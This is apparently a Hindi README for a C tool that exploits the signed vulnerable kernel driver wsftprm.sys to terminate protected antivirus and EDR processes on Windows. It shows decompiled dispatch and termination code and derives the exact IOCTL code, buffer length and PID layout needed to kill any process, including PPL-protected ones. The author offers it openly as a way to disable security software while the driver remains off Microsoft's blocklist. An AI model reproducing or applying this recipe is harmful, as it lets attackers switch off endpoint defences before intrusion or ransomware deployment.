
C-आधारित उपकरण जो रिवर्स किए गए IOCTL डिस्पैच लॉजिक के माध्यम से विंडोज पर सुरक्षित EDR/AV प्रक्रियाओं, जिसमें PPL प्रक्रियाएं शामिल हैं, को समाप्त करने के लिए कमजोर wsftprm.sys कर्नेल ड्राइवर का शोषण करता है।
F, एक और ड्राइवर जल गया.. मैं कुछ समय से wsftprm.sys ड्राइवर को गेटकीप कर रहा था ;) लेकिन चूंकि किसी ने एक सार्वजनिक POC पोस्ट किया, मैं इसे अनगेटकीप कर रहा हूँ। हम सभी जानते हैं कि यह जल्द ही ड्राइवर ब्लॉकलिस्ट में जोड़ा जाएगा, तो यहाँ इसके लिए मेरा कार्यान्वयन है — C में
यह प्रोजेक्ट कमजोर wsftprm.sys (Topaz Antifraud kernel driver) का शोषण करके Windows पर संरक्षित प्रक्रियाओं (जैसे, एंटीवायरस/EDR सेवाएँ) को समाप्त करता है।
जनवरी 2026 तक, wsftprm.sys (SHA-256: FF5DBDCF6D7AE5D97B6F3EF412DF0B977BA4A844C45B30CA78C0EEB2653D69A8) एक हस्ताक्षरित कमजोर ड्राइवर है जो Microsoft की आधिकारिक Vulnerable Driver Blocklist पर नहीं है।
ड्राइवर को लोड और रिवर्स करने के बारे में बहुत सारी जानकारी उपलब्ध है, इसलिए उनमें से किसी का संदर्भ लें। इस ड्राइवर के बारे में एकमात्र दिलचस्प बात यह है कि वे IOCTLs को कैसे संभालते हैं.. ड्राइवर IOCTL डिस्पैचिंग के लिए एक मानक switch स्टेटमेंट का उपयोग नहीं करता है। इसके बजाय, यह इच्छित मानों को अस्पष्ट करने के लिए IOCTL कोड से घटावों की एक श्रृंखला का उपयोग करता है।
__int64 __fastcall DispatchDeviceControl(__int64 a1, __int64 a2, ...)
{
// ...
v7 = IoControlCode; // v6[6] = Parameters.DeviceIoControl.IoControlCode
v8 = v7 - 0x222000;
v9 = v8 - 4;
v10 = v9 - 4;
v11 = v10 - 16;
if ( v11 == 4 && InputBufferLength == 1036 )
{
// Copy 1036-byte input buffer
// Extract first DWORD as PID (v41)
// Call sub_14000264C(v41, buffer) → leads to termination
}
}
sub_14000264C(unsigned int a1, __int64 a2)
{
// ...
v4 = sub_140002848(a1); // a1 = PID from buffer[0..3]
}
__int64 __fastcall sub_140002848(unsigned int a1) // PID
{
CLIENT_ID ClientId = { (HANDLE)a1, 0 };
OBJECT_ATTRIBUTES ObjAttr = { sizeof(ObjAttr), 0, 0, 0, 0, 0 };
HANDLE ProcessHandle;
ZwOpenProcess(&ProcessHandle, PROCESS_ALL_ACCESS, &ObjAttr, &ClientId);
if (NT_SUCCESS(status) && ProcessHandle)
{
ZwTerminateProcess(ProcessHandle, 0);
ZwClose(ProcessHandle);
}
// ...
}
तो अब हम vulnfunc तक पहुंचने के लिए आवश्यक शर्त जानते हैं। मूल रूप से v11 == 4 && InputBufferLength == 1036 तो हम IOCTL कोड प्राप्त करने के लिए शर्त से पीछे की ओर काम कर सकते हैं.. कुछ इस प्रकार:
v11 == 4
→ v10 - 16 == 4 → v10 = 20 (0x14)
→ v9 - 4 == 20 → v9 = 24 (0x18)
→ v8 - 4 == 24 → v8 = 28 (0x1C)
→ v7 - 0x222000 == 28 → v7 = 0x222000 + 0x1C = 0x22201C
और फिर आप अपनी इच्छित प्रक्रिया (PPL प्रक्रियाओं सहित) को समाप्त करने के लिए IOCTL कोड के साथ DeviceIoControl का उपयोग कर सकते हैं।
अंतिम परीक्षण Windows Version 25H2 पर किया गया!